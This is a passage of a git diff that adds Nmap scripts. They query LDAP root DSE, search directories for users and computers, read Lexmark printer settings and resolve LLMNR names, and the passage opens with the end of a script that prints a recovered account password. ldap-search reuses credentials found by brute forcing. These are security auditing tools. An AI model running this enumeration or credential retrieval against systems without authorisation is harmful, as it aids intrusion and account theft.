+ local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3]
+
+ if ( universal_pw ) then
+ local output = {}
+ table.insert(output, ("Account: %s"):format(account))
+ table.insert(output, ("Password: %s"):format(universal_pw))
+ return stdnse.format_output(true, output)
+ else
+ return fail("No password was found")
+ end
+end
diff --git a/scripts/ldap-rootdse.nse b/scripts/ldap-rootdse.nse
new file mode 100644
index 0000000..ffa902a
--- /dev/null
+++ b/scripts/ldap-rootdse.nse
@@ -0,0 +1,212 @@
+local comm = require "comm"
+local ldap = require "ldap"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Retrieves the LDAP root DSA-specific Entry (DSE)
+]]
+
+---
+--
+-- @usage
+-- nmap -p 389 --script ldap-rootdse <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 389/tcp open ldap
+-- | ldap-rootdse:
+-- | currentTime: 20100112092616.0Z
+-- | subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cqure,DC=net
+-- | dsServiceName: CN=NTDS Settings,CN=LDAPTEST001,CN=Servers,CN=Default-First-Site,CN=Sites,CN=Configuration,DC=cqure,DC=net
+-- | namingContexts: DC=cqure,DC=net
+-- | namingContexts: CN=Configuration,DC=cqure,DC=net
+-- | namingContexts: CN=Schema,CN=Configuration,DC=cqure,DC=net
+-- | namingContexts: DC=DomainDnsZones,DC=cqure,DC=net
+-- | namingContexts: DC=ForestDnsZones,DC=cqure,DC=net
+-- | namingContexts: DC=TAPI3Directory,DC=cqure,DC=net
+-- | defaultNamingContext: DC=cqure,DC=net
+-- | schemaNamingContext: CN=Schema,CN=Configuration,DC=cqure,DC=net
+-- | configurationNamingContext: CN=Configuration,DC=cqure,DC=net
+-- | rootDomainNamingContext: DC=cqure,DC=net
+-- | supportedControl: 1.2.840.113556.1.4.319
+-- | .
+-- | .
+-- | supportedControl: 1.2.840.113556.1.4.1948
+-- | supportedLDAPVersion: 3
+-- | supportedLDAPVersion: 2
+-- | supportedLDAPPolicies: MaxPoolThreads
+-- | supportedLDAPPolicies: MaxDatagramRecv
+-- | supportedLDAPPolicies: MaxReceiveBuffer
+-- | supportedLDAPPolicies: InitRecvTimeout
+-- | supportedLDAPPolicies: MaxConnections
+-- | supportedLDAPPolicies: MaxConnIdleTime
+-- | supportedLDAPPolicies: MaxPageSize
+-- | supportedLDAPPolicies: MaxQueryDuration
+-- | supportedLDAPPolicies: MaxTempTableSize
+-- | supportedLDAPPolicies: MaxResultSetSize
+-- | supportedLDAPPolicies: MaxNotificationPerConn
+-- | supportedLDAPPolicies: MaxValRange
+-- | highestCommittedUSN: 126991
+-- | supportedSASLMechanisms: GSSAPI
+-- | supportedSASLMechanisms: GSS-SPNEGO
+-- | supportedSASLMechanisms: EXTERNAL
+-- | supportedSASLMechanisms: DIGEST-MD5
+-- | dnsHostName: EDUSRV011.cqure.local
+-- | ldapServiceName: cqure.net:edusrv011$@CQURE.NET
+-- | serverName: CN=EDUSRV011,CN=Servers,CN=Default-First-Site,CN=Sites,CN=Configuration,DC=cqure,DC=net
+-- | supportedCapabilities: 1.2.840.113556.1.4.800
+-- | supportedCapabilities: 1.2.840.113556.1.4.1670
+-- | supportedCapabilities: 1.2.840.113556.1.4.1791
+-- | isSynchronized: TRUE
+-- | isGlobalCatalogReady: TRUE
+-- | domainFunctionality: 0
+-- | forestFunctionality: 0
+-- |_ domainControllerFunctionality: 2
+--
+--
+-- The root DSE object may contain a number of different attributes as described in RFC 2251 section 3.4:
+-- * namingContexts: naming contexts held in the server
+-- * subschemaSubentry: subschema entries (or subentries) known by this server
+-- * altServer: alternative servers in case this one is later unavailable.
+-- * supportedExtension: list of supported extended operations.
+-- * supportedControl: list of supported controls.
+-- * supportedSASLMechanisms: list of supported SASL security features.
+-- * supportedLDAPVersion: LDAP versions implemented by the server.
+--
+-- The above example, which contains a lot more information is from Windows 2003 accessible without authentication.
+-- The same request against OpenLDAP will result in significantly less information.
+--
+-- The ldap-search script queries the root DSE for the namingContexts and/or defaultNamingContexts, which it sets as base
+-- if no base object was specified
+--
+-- Credit goes out to Martin Swende who provided me with the initial code that got me started writing this.
+--
+
+-- Version 0.3
+-- Created 01/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/20/2010 - v0.2 - added SSL support
+-- Revised 04/09/2016 - v0.3 - added support for LDAP over UDP - Tom Sellers
+
+author = "Patrik Karlsson"
+copyright = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"ldap-brute"}
+
+-- Map domainControllerFunctionality to OS - https://msdn.microsoft.com/en-us/library/cc223272.aspx
+-- Tested to be valid even when Active Directory functional level is lower than target ADC's OS version
+DC_FUNCT_ID = {}
+DC_FUNCT_ID["0"] = "Windows 2000"
+DC_FUNCT_ID["2"] = "Windows 2003"
+DC_FUNCT_ID["3"] = "Windows 2008"
+DC_FUNCT_ID["4"] = "Windows 2008 R2"
+DC_FUNCT_ID["5"] = "Windows 2012"
+DC_FUNCT_ID["6"] = "Windows 2012 R2"
+
+portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"},{'tcp','udp'})
+
+function action(host,port)
+ local status, searchResEntries, req, result, opt
+
+ if port.protocol == 'tcp' then
+
+ local socket = nmap.new_socket()
+
+ -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
+ -- An anonymous bind should do it
+ local ldap_anonymous_bind = "\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"
+ local _
+ socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
+
+ if not socket then
+ return
+ end
+
+ -- We close and re-open the socket so that the anonymous bind does not distract us
+ socket:close()
+ status = socket:connect(host, port, opt)
+ socket:set_timeout(10000)
+
+ -- Searching for an empty argument list against LDAP on W2K3 returns all attributes
+ -- This is not the case for OpenLDAP, so we do a search for an empty attribute list
+ -- Then we compare the results against some known and expected returned attributes
+ req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
+ status, searchResEntries = ldap.searchRequest( socket, req )
+
+ if not status then
+ socket:close()
+ return stdnse.format_output(false, searchResEntries)
+ end
+
+ -- Check if we were served all the results or not?
+ if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
+ not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
+
+ -- The namingContexts was not there, try to query all attributes instead
+ -- Attributes extracted from Windows 2003 and complemented from RFC
+ local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
+ "dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
+ "isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
+ "rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
+ "supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
+ "supportedSASLMechanisms", "altServer", "supportedExtension"}
+
+ req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
+ status, searchResEntries = ldap.searchRequest( socket, req )
+ end
+
+ socket:close()
+ else
+ -- Port protocol is UDP, indicating that this is an Active Directory Controller LDAP service
+ req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default}
+ status, searchResEntries = ldap.udpSearchRequest( host, port, req )
+ end
+
+ if not status or not searchResEntries then return stdnse.format_output(false, searchResEntries) end
+ result = ldap.searchResultToTable( searchResEntries )
+
+ -- if taken a way and ldap returns a single result, it ain't shown....
+ result.name = "LDAP Results"
+ local scriptResult = stdnse.format_output(true, result )
+
+ -- Start extracting target information
+ -- The following works on Windows AD LDAP as well as VMware's LDAP, VMware uses lower case cn vs AD ucase CN
+ local serverName = scriptResult:match("serverName: [cC][nN]=([^,]+),[cC][nN]=Servers,[cC][nN]=")
+ if serverName then port.version.hostname = serverName end
+
+ -- Check to see if this is Active Directory vs some other product or ADAM
+ -- https://msdn.microsoft.com/en-us/library/cc223359.aspx
+ if string.match(scriptResult,"1.2.840.113556.1.4.800") then
+ port.version.product = 'Microsoft Windows Active Directory LDAP'
+ port.version.name_confidence = 10
+
+ -- Determine Windows version
+ if not port.version.ostype or port.version.ostype == 'Windows' then
+ local DC_Func = string.match(scriptResult,"domainControllerFunctionality: (%d)")
+ if DC_FUNCT_ID[DC_Func] then
+ port.version.ostype = DC_FUNCT_ID[DC_Func]
+ else
+ port.version.ostype = 'Windows'
+ stdnse.debug(1,"Unmatched OS lookup for domainControllerFunctionality: %d", DC_Func)
+ end
+ end
+
+ local siteName = string.match(scriptResult,"serverName: CN=[^,]+,CN=Servers,CN=([^,]+),CN=Sites,")
+ local domainName = string.match(scriptResult,"rootDomainNamingContext: ([^\n]*)")
+ domainName = string.gsub(domainName,",DC=",".")
+ domainName = string.gsub(domainName,"DC=","")
+ if domainName and siteName then
+ port.version.extrainfo = string.format("Domain: %s, Site: %s", domainName, siteName)
+ end
+ end
+
+ -- Set port information
+ port.version.name = "ldap"
+ nmap.set_port_version(host, port, "hardmatched")
+ nmap.set_port_state(host, port, "open")
+
+ return scriptResult
+end
diff --git a/scripts/ldap-search.nse b/scripts/ldap-search.nse
new file mode 100644
index 0000000..612e33f
--- /dev/null
+++ b/scripts/ldap-search.nse
@@ -0,0 +1,315 @@
+local comm = require "comm"
+local ldap = require "ldap"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to perform an LDAP search and returns all matches.
+
+If no username and password is supplied to the script the Nmap registry
+is consulted. If the <code>ldap-brute</code> script has been selected
+and it found a valid account, this account will be used. If not
+anonymous bind will be used as a last attempt.
+]]
+
+---
+-- @args ldap.username If set, the script will attempt to perform an LDAP bind
+-- using the username and password
+-- @args ldap.password If set, used together with the username to authenticate
+-- to the LDAP server
+-- @args ldap.qfilter If set, specifies a quick filter. The library does not
+-- support parsing real LDAP filters. The following values are valid for
+-- the filter parameter: computer, users, ad_dcs, custom or all. If no
+-- value is specified it defaults to all.
+-- @args ldap.searchattrib When used with the 'custom' qfilter, this parameter
+-- works in conjunction with ldap.searchvalue to allow the user to
+-- specify a custom attribute and value as search criteria.
+-- @args ldap.searchvalue When used with the 'custom' qfilter, this parameter
+-- works in conjunction with ldap.searchattrib to allow the user to
+-- specify a custom attribute and value as search criteria.
+-- This parameter DOES PERMIT the use of the asterisk '*' as a wildcard.
+-- @args ldap.base If set, the script will use it as a base for the search. By
+-- default the defaultNamingContext is retrieved and used. If no
+-- defaultNamingContext is available the script iterates over the
+-- available namingContexts
+-- @args ldap.attrib If set, the search will include only the attributes
+-- specified. For a single attribute a string value can be used, if
+-- multiple attributes need to be supplied a table should be used
+-- instead.
+-- @args ldap.maxobjects If set, overrides the number of objects returned by
+-- the script (default 20). The value -1 removes the limit completely.
+-- @args ldap.savesearch If set, the script will save the output to a file
+-- beginning with the specified path and name. The file suffix of .CSV
+-- as well as the hostname and port will automatically be added based on
+-- the output type selected.
+--
+-- @usage
+-- nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=users,dc=cqure,dc=net",ldap.password=ldaptest,
+-- ldap.qfilter=users,ldap.attrib=sAMAccountName' <host>
+--
+-- nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=users,dc=cqure,dc=net",ldap.password=ldaptest,
+-- ldap.qfilter=custom,ldap.searchattrib="operatingSystem",ldap.searchvalue="Windows *Server*",ldap.attrib={operatingSystem,whencreated,OperatingSystemServicePack}' <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 389/tcp open ldap syn-ack
+-- | ldap-search:
+-- | DC=cqure,DC=net
+-- | dn: CN=Administrator,CN=Users,DC=cqure,DC=net
+-- | sAMAccountName: Administrator
+-- | dn: CN=Guest,CN=Users,DC=cqure,DC=net
+-- | sAMAccountName: Guest
+-- | dn: CN=SUPPORT_388945a0,CN=Users,DC=cqure,DC=net
+-- | sAMAccountName: SUPPORT_388945a0
+-- | dn: CN=EDUSRV011,OU=Domain Controllers,DC=cqure,DC=net
+-- | sAMAccountName: EDUSRV011$
+-- | dn: CN=krbtgt,CN=Users,DC=cqure,DC=net
+-- | sAMAccountName: krbtgt
+-- | dn: CN=Patrik Karlsson,CN=Users,DC=cqure,DC=net
+-- | sAMAccountName: patrik
+-- | dn: CN=VMABUSEXP008,CN=Computers,DC=cqure,DC=net
+-- | sAMAccountName: VMABUSEXP008$
+-- | dn: CN=ldaptest,CN=Users,DC=cqure,DC=net
+-- |_ sAMAccountName: ldaptest
+--
+--
+-- PORT STATE SERVICE REASON
+-- 389/tcp open ldap syn-ack
+-- | ldap-search:
+-- | Context: DC=cqure,DC=net; QFilter: custom; Attributes: operatingSystem,whencreated,OperatingSystemServicePack
+-- | dn: CN=USDC01,OU=Domain Controllers,DC=cqure,DC=net
+-- | whenCreated: 2010/08/27 17:30:16 UTC
+-- | operatingSystem: Windows Server 2008 R2 Datacenter
+-- | operatingSystemServicePack: Service Pack 1
+-- | dn: CN=TESTBOX,OU=Test Servers,DC=cqure,DC=net
+-- | whenCreated: 2010/09/04 00:33:02 UTC
+-- | operatingSystem: Windows Server 2008 R2 Standard
+-- |_ operatingSystemServicePack: Service Pack 1
+
+
+-- Credit
+-- ------
+-- o Martin Swende who provided me with the initial code that got me started writing this.
+
+-- Version 0.8
+-- Created 01/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/20/2010 - v0.2 - added SSL support
+-- Revised 01/26/2010 - v0.3 - Changed SSL support to comm.tryssl, prefixed arguments with ldap, changes in determination of namingContexts
+-- Revised 02/17/2010 - v0.4 - Added dependency to ldap-brute and the abilitity to check for ldap accounts (credentials) stored in nmap registry
+-- Capped output to 20 entries, use ldap.maxObjects to override
+-- Revised 07/16/2010 - v0.5 - Fixed bug with empty contexts, added objectClass person to qfilter users, add error msg for invalid credentials
+-- Revised 09/05/2011 - v0.6 - Added support for saving searches to a file via argument ldap.savesearch
+-- Revised 10/29/2011 - v0.7 - Added support for custom searches and the ability to leverage LDAP substring search functionality added to LDAP.lua
+-- Revised 10/30/2011 - v0.8 - Added support for ad_dcs (AD domain controller ) searches and the ability to leverage LDAP extensibleMatch filter added to LDAP.lua
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+dependencies = {"ldap-brute"}
+
+portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
+
+local function fail (err) return stdnse.format_output(false, err) end
+function action(host,port)
+
+ local status
+ local socket, opt
+ local args = nmap.registry.args
+ local username = stdnse.get_script_args('ldap.username')
+ local password = stdnse.get_script_args('ldap.password')
+ local qfilter = stdnse.get_script_args('ldap.qfilter')
+ local searchAttrib = stdnse.get_script_args('ldap.searchattrib')
+ local searchValue = stdnse.get_script_args('ldap.searchvalue')
+ local base = stdnse.get_script_args('ldap.base')
+ local attribs = stdnse.get_script_args('ldap.attrib')
+ local saveFile = stdnse.get_script_args('ldap.savesearch')
+ local accounts
+ local objCount = 0
+ local maxObjects = tonumber(stdnse.get_script_args('ldap.maxobjects')) or 20
+
+ -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
+ -- An anonymous bind should do it
+ local ldap_anonymous_bind = "\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"
+ local _
+ socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
+
+ if not socket then
+ return
+ end
+
+ -- Check if ldap-brute stored us some credentials
+ if ( not(username) and nmap.registry.ldapaccounts~=nil ) then
+ accounts = nmap.registry.ldapaccounts
+ end
+
+ -- We close and re-open the socket so that the anonymous bind does not distract us
+ socket:close()
+ status = socket:connect(host, port, opt)
+ socket:set_timeout(10000)
+
+ local req
+ local searchResEntries
+ local contexts = {}
+ local result = {}
+ local filter
+
+ if base == nil then
+ req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
+ status, searchResEntries = ldap.searchRequest( socket, req )
+
+ if not status then
+ socket:close()
+ return
+ end
+
+ contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
+
+ -- OpenLDAP does not have a defaultNamingContext
+ if not contexts then
+ contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
+ end
+ else
+ table.insert(contexts, base)
+ end
+
+ if ( not(contexts) or #contexts == 0 ) then
+ stdnse.debug1( "Failed to retrieve namingContexts" )
+ contexts = {""}
+ end
+
+ -- perform a bind only if we have valid credentials
+ if ( username ) then
+ local bindParam = { version=3, ['username']=username, ['password']=password}
+ local status, errmsg = ldap.bindRequest( socket, bindParam )
+
+ if not status then
+ stdnse.debug1("ldap-search failed to bind: %s", errmsg)
+ return fail("Authentication failed")
+ end
+ -- or if ldap-brute found us something
+ elseif ( accounts ) then
+ for username, password in pairs(accounts) do
+ local bindParam = { version=3, ['username']=username, ['password']=password}
+ local status, errmsg = ldap.bindRequest( socket, bindParam )
+
+ if status then
+ break
+ end
+ end
+ end
+
+ if qfilter == "users" then
+ filter = { op=ldap.FILTER._or, val=
+ {
+ { op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' },
+ { op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' },
+ { op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' }
+ }
+ }
+ elseif qfilter == "computers" or qfilter == "computer" then
+ filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' }
+
+ elseif qfilter == "ad_dcs" then
+ filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' }
+
+ elseif qfilter == "custom" then
+ if searchAttrib == nil or searchValue == nil then
+ return fail("Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter.")
+ end
+ if string.find(searchValue, '*') == nil then
+ filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
+ else
+ filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue }
+ end
+
+ elseif qfilter == "all" or qfilter == nil then
+ filter = nil -- { op=ldap.FILTER}
+ else
+ return fail("Unsupported Quick Filter: " .. qfilter)
+ end
+
+ if type(attribs) == 'string' then
+ local tmp = attribs
+ attribs = {}
+ table.insert(attribs, tmp)
+ end
+
+ for _, context in ipairs(contexts) do
+
+ req = {
+ baseObject = context,
+ scope = ldap.SCOPE.sub,
+ derefPolicy = ldap.DEREFPOLICY.default,
+ filter = filter,
+ attributes = attribs,
+ ['maxObjects'] = maxObjects }
+ status, searchResEntries = ldap.searchRequest( socket, req )
+
+ if not status then
+ if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
+ return fail("Failed to bind as the anonymous user")
+ else
+ stdnse.debug1("ldap.searchRequest returned: %s", searchResEntries)
+ return
+ end
+ end
+
+ local result_part = ldap.searchResultToTable( searchResEntries )
+
+ if saveFile then
+ local output_file = saveFile .. "_" .. host.ip .. "_" .. port.number .. ".csv"
+ local save_status, save_err = ldap.searchResultToFile(searchResEntries,output_file)
+ if not save_status then
+ stdnse.debug1("%s", save_err)
+ end
+ end
+
+ objCount = objCount + (result_part and #result_part or 0)
+ result_part.name = ""
+
+ if ( context ) then
+ result_part.name = ("Context: %s"):format(#context > 0 and context or "<empty>")
+ end
+ if ( qfilter ) then
+ result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter)
+ end
+ if ( attribs ) then
+ result_part.name = result_part.name .. ("; Attributes: %s"):format(table.concat(attribs, ","))
+ end
+
+ table.insert( result, result_part )
+
+ -- catch any softerrors
+ if searchResEntries.resultCode ~= 0 then
+ local output = stdnse.format_output(true, result )
+ output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage )
+
+ return output
+ end
+
+ end
+
+ -- perform a unbind only if we have valid credentials
+ if ( username ) then
+ status = ldap.unbindRequest( socket )
+ end
+
+ socket:close()
+
+ -- if taken a way and ldap returns a single result, it ain't shown....
+ --result.name = "LDAP Results"
+
+ local output = stdnse.format_output(true, result )
+
+ if ( maxObjects ~= -1 and objCount == maxObjects ) then
+ output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects)
+ end
+
+ return output
+end
diff --git a/scripts/lexmark-config.nse b/scripts/lexmark-config.nse
new file mode 100644
index 0000000..c951257
--- /dev/null
+++ b/scripts/lexmark-config.nse
@@ -0,0 +1,88 @@
+local dns = require "dns"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves configuration information from a Lexmark S300-S400 printer.
+
+The Lexmark S302 responds to the NTPRequest version probe with its
+configuration. The response decodes as mDNS, so the request was modified
+to resemble an mDNS request as close as possible. However, the port
+(9100/udp) is listed as something completely different (HBN3) in
+documentation from Lexmark. See
+http://www.lexmark.com/vgn/images/portal/Security%20Features%20of%20Lexmark%20MFPs%20v1_1.pdf.
+]]
+
+
+---
+--@usage
+-- nmap -sU -p 9100 --script=lexmark-config <target>
+--@output
+-- Interesting ports on 192.168.1.111:
+-- PORT STATE SERVICE REASON
+-- 9100/udp unknown unknown unknown-response
+-- | lexmark-config:
+-- | IPADDRESS: 10.46.200.170
+-- | IPNETMASK: 255.255.255.0
+-- | IPGATEWAY: 10.46.200.2
+-- | IPNAME: "ET0020006E4A37"
+-- | MACLAA: "000000000000"
+-- | MACUAA: "0004007652EC"
+-- | MDNSNAME: "S300-S400 Series (32)"
+-- | ADAPTERTYPE: 2
+-- | IPADDRSOURCE: 1
+-- | ADAPTERCAP: "148FC000"
+-- | OEMBYTE: 1 0
+-- | PASSWORDSET: FALSE
+-- | NEWPASSWORDTYPE: TRUE
+-- | 1284STRID: 1 "S300-S400 Series"
+-- | CPDATTACHED: 1 1
+-- | SECUREMODE: FALSE
+-- | PRINTERVIDPID: 1 "043d0180"
+-- |_ product=(S300-S400: Series)
+
+-- Version 0.3
+-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson
+-- Revised 01/13/2010 - v0.2 - revised script to use dns library
+-- Revised 01/23/2010 - v0.3 - revised script to use the proper ports
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.portnumber({5353,9100}, "udp")
+
+action = function( host, port )
+
+ local result = {}
+ local status, response = dns.query( "", { port = port.number, host = host.ip, dtype="PTR", retPkt=true} )
+ if ( not(status) ) then
+ return
+ end
+ local status, txtrecords = dns.findNiceAnswer( dns.types.TXT, response, true )
+ if ( not(status) ) then
+ return
+ end
+
+ for _, v in ipairs( txtrecords ) do
+ if ( v:len() > 0 ) then
+ if v:find("PRINTERVIDPID") then
+ port.version.name="hbn3"
+ end
+ if not v:find("product=") then
+ v = v:gsub(" ", ": ", 1)
+ end
+ table.insert( result, v )
+ end
+ end
+
+ -- set port to open
+ nmap.set_port_state(host, port, "open")
+ nmap.set_port_version(host, port)
+
+ return stdnse.format_output(true, result)
+end
+
diff --git a/scripts/llmnr-resolve.nse b/scripts/llmnr-resolve.nse
new file mode 100644
index 0000000..25d2acd
--- /dev/null
+++ b/scripts/llmnr-resolve.nse
@@ -0,0 +1,209 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local target = require "target"
+local math = require "math"
+local string = require "string"
+
+description = [[
+Resolves a hostname by using the LLMNR (Link-Local Multicast Name Resolution) protocol.
+
+The script works by sending a LLMNR Standard Query containing the hostname to
+the 5355 UDP port on the 224.0.0.252 multicast address. It listens for any
+LLMNR responses that are sent to the local machine with a 5355 UDP source port.
+A hostname to resolve must be provided.
+
+For more information, see:
+* http://technet.microsoft.com/en-us/library/bb878128.aspx
+]]
+
+---
+--@args llmnr-resolve.hostname Hostname to resolve.
+--
+--@args llmnr-resolve.timeout Max time to wait for a response. (default 3s)
+--
+--@usage
+-- nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=examplename' -e wlan0
+--
+--@output
+-- Pre-scan script results:
+-- | llmnr-resolve:
+-- | acer-PC : 192.168.1.4
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running due to lack of privileges.")
+ return false
+ end
+ return true
+end
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "broadcast"}
+
+
+--- Returns a raw llmnr query
+-- @param hostname Hostname to query for.
+-- @return query Raw llmnr query.
+local llmnrQuery = function(hostname)
+ return string.pack(">I2I2I2I2I2I2 s1x I2I2",
+ math.random(0,65535), -- transaction ID
+ 0x0000, -- Flags: Standard Query
+ 0x0001, -- Questions = 1
+ 0x0000, -- Answer RRs = 0
+ 0x0000, -- Authority RRs = 0
+ 0x0000, -- Additional RRs = 0
+ hostname, -- Hostname
+ 0x0001, -- Type: Host Address
+ 0x0001) -- Class: IN
+end
+
+--- Sends a llmnr query.
+-- @param query Query to send.
+local llmnrSend = function(query, mcast, mport)
+ -- Multicast IP and UDP port
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(mcast, mport, "udp")
+ if not status then
+ stdnse.debug1("%s", err)
+ return
+ end
+ sock:send(query)
+ sock:close()
+end
+
+-- Listens for llmnr responses
+-- @param interface Network interface to listen on.
+-- @param timeout Maximum time to listen.
+-- @param result table to put responses into.
+local llmnrListen = function(interface, timeout, result)
+ local condvar = nmap.condvar(result)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local status, l3data, _
+
+ -- packets that are sent to our UDP port number 5355
+ local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ local p = packet.Packet:new(l3data, #l3data)
+ -- Skip IP and UDP headers
+ local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
+ -- Flags
+ local trans, flags, questions = string.unpack(">I2 I2 I2", llmnr)
+
+ -- Make verifications
+ -- Message == Response bit
+ -- and 1 Question (hostname we requested) and
+ if ((flags >> 15) == 1) and questions == 0x01 then
+ stdnse.debug1("got response from %s", p.ip_src)
+ -- Skip header's 12 bytes
+ -- extract host length
+ local qlen, index = string.unpack(">B", llmnr, 13)
+ -- Skip hostname, null byte, type field and class field
+ index = index + qlen + 1 + 2 + 2
+
+ -- Now, answer record
+ local response, alen = {}
+ -- Extract hostname with the correct case sensitivity.
+ response.hostname, index = string.unpack(">s1x", llmnr, index)
+
+ -- skip type, class, ttl, dlen
+ index = index + 2 + 2 + 4 + 2
+ response.address, index = string.unpack(">c4", llmnr, index)
+ response.address = ipOps.str_to_ip(response.address)
+ table.insert(result, response)
+ else
+ stdnse.debug1("skipped llmnr response.")
+ end
+ end
+ end
+ condvar("signal")
+end
+
+-- Returns the network interface used to send packets to a target host.
+--@param target host to which the interface is used.
+--@return interface Network interface used for target host.
+local getInterface = function(target)
+ -- First, create dummy UDP connection to get interface
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(target, "12345", "udp")
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ local status, address, _, _, _ = sock:get_info()
+ if not status then
+ stdnse.verbose1("%s", err)
+ return
+ end
+ for _, interface in pairs(nmap.list_interfaces()) do
+ if interface.address == address then
+ return interface
+ end
+ end
+end
+
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ timeout = (timeout or 3) * 1000
+ local hostname = stdnse.get_script_args(SCRIPT_NAME .. ".hostname")
+ local result, output = {}, {}
+ local mcast = "224.0.0.252"
+ local mport = 5355
+
+ -- Check if a valid hostname was provided
+ if not hostname or #hostname == 0 then
+ stdnse.debug1("no hostname was provided.")
+ return
+ end
+
+ -- Check if a valid interface was provided
+ local interface = nmap.get_interface()
+ if interface then
+ interface = nmap.get_interface_info(interface)
+ else
+ interface = getInterface(mcast)
+ end
+ if not interface then
+ return stdnse.format_output(false, ("Couldn't get interface for %s"):format(mcast))
+ end
+
+ -- Launch listener thread
+ stdnse.new_thread(llmnrListen, interface, timeout, result)
+ -- Craft raw query
+ local query = llmnrQuery(hostname)
+ -- Small sleep so the listener doesn't miss the response
+ stdnse.sleep(0.5)
+ -- Send query
+ llmnrSend(query, mcast, mport)
+ -- Wait for listener thread to finish
+ local condvar = nmap.condvar(result)
+ condvar("wait")
+
+ -- Check responses
+ if #result > 0 then
+ for _, response in pairs(result) do
+ table.insert(output, response.hostname.. " : " .. response.address)
+ if target.ALLOW_NEW_TARGETS then
+ target.add(response.address)
+ end
+ end
+ if ( not(target.ALLOW_NEW_TARGETS) ) then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/lltd-discovery.nse b/scripts/lltd-discovery.nse
new file mode 100644
index 0000000..9a40ddf
--- /dev/null
+++ b/scripts/lltd-discovery.nse
@@ -0,0 +1,329 @@
+local datafiles = require "datafiles"
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+local unicode = require "unicode"
+local ipOps = require "ipOps"
+local rand = require "rand"
+
+description = [[
+Uses the Microsoft LLTD protocol to discover hosts on a local network.
+
